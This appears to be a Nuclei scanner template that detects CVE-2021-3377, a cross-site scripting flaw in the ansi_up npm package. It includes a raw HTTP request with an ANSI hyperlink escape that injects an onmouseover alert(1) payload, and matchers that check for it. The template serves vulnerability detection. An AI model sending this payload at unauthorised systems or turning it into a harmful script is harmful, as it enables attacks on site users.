id: CVE-2021-3377

info:
  name: Ansi_up XSS
  description: The npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.
  reference:
    - https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
    - https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
  author: geeknik
  severity: medium
  tags: cve,cve2021,xss,npm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-3377
    cwe-id: CWE-79

requests:
  - raw:
      - |+
        GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    unsafe: true
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - "com\"/onmouseover=\"alert(1)\">"